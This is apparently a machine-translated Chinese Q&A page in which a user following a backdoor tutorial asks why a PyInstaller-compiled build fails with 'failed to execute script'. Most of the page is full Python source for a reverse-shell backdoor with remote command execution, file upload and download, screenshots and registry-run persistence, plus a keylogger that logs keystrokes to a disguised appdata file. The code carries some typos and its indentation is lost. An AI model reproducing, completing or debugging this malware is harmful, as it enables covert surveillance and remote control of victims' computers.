python - 如何修复 Pyinstaller 错误:无法执行脚本
问题描述
我正在关注Aleksa Tamburkovski的后门教程
但是当我尝试使用cmd 将文件编译成文件时,它首先编译但是当我尝试打开文件时它说:无法执行脚本。我不知道是怎么回事。这是文件,一个是 backdoor.py,另一个是运行它所需的文件:.py
.exe
pyinstaller backdoor.py --onefile --noconsole
后门.py:
import socket
import json
import subprocess
import os
import pyautogui
import keylogger
import threading
import shutil
import sys
def reliable_recv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def screenshot():
Ss = pyautogui.screenshot()
Ss.save('screen.png')
def persist(r,c):
file_loc = os.eviron['appdata'] + '\\' + c
try:
if not os.path.exists(file_loc):
shutil.copyfile(sys.executable, file_loc)
subprocess.call('reg add HKCU\Software\Microsoft\Wndows\CurrentVersion /v ' + r +' /t REG_SZ /d "' + file_loc + '"', shell =True)
reliable_send('[+] Created Persistance at: '+ r)
else:
reliable_send('[+] Persistance already Exists!')
except:
reliable_send('[-] Error Creating Persistance')
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'help':
pass
elif command == 'clear':
pass
elif command[:6] == 'upload':
download_file(command[7:])
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:10] == 'screenshot':
screenshot()
upload_file('screen.png')
os.remove('screen.png')
elif command[:12] == 'keylog_start':
keylog = keylogger.Keylogger()
t = threading.Thread(target = keylog.start)
t.start()
reliable_send('[+] Keylogger Started!')
elif command[:11] == 'keylog_dump':
logs = keylog.read_logs()
reliable_send(logs)
elif command[:11] == 'keylog_stop':
keylog.self_destruct()
t.join()
reliable_send('[-] Keylogger Stopped!')
elif command[:11] == 'persistence':
reg_name, copy_name = command[12:].split(' ')
persist(reg_name, copy_name)
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1',5555))
shell()
键盘记录器.py:
import os
from pynput.keyboard import Listener
import time
import threading
class Keylogger():
keys = []
count = 0
#path = 'processmannager.txt'
path = os.environ['appdata'] + '\\processmannager.txt'
flag = 0
def on_press(self,key):
self.keys.append(key)
self.count += 1
if self.count >= 1:
self.count = 0
self.write_file(self.keys)
self.keys = []
def read_logs(self):
with open(self.path,'rt')as f:
return f.read()
def write_file(self,keys):
with open(self.path, 'a') as f:
for key in keys:
k = str(key).replace("'","")
k = str(k).replace("Key.space",' ')
k = str(k).replace("Key.enter", '\n')
k = str(k).replace("Key.shift", "[Shift]")
k = str(k).replace("Key.caps_lock", "[Caps_lock]")
f.write(k)
def self_destruct(self):
self.flag = 1
listener.stop()
os.remove('processmannager.txt')
def start(self):
global listener
with Listener(on_press=self.on_press) as listener:
listener.join()
当我尝试时pyinstaller backdoor.py --onefile --noconsole --debug=all
,它告诉我:
请帮我解决这个问题。
解决方案
推荐阅读
- c++ - 调整图像大小导致分割错误 OpenCV C++
- swift - 如何从一个视图控制器导航到另一个?
- timestamp - 具有不同时间戳的多个文件_查找公共时间戳
- html - 标题自定义
- git - 如何配置 git 以在 cocoapods 规范文件中使用访问令牌?
- asp.net-core - Azure Maps 无法读取未定义读取“_clickTolerance”的属性
- javascript - 如何在单个页面上出现两个条纹元素
- python-3.x - 无法从重复轴重新索引 - Pandas groupby 正态分布问题
- php - 从 POST 获取表单数据并插入 mysqli 数据库
- java - 如何在 Spring 的构造函数中将 URI 参数与视图绑定?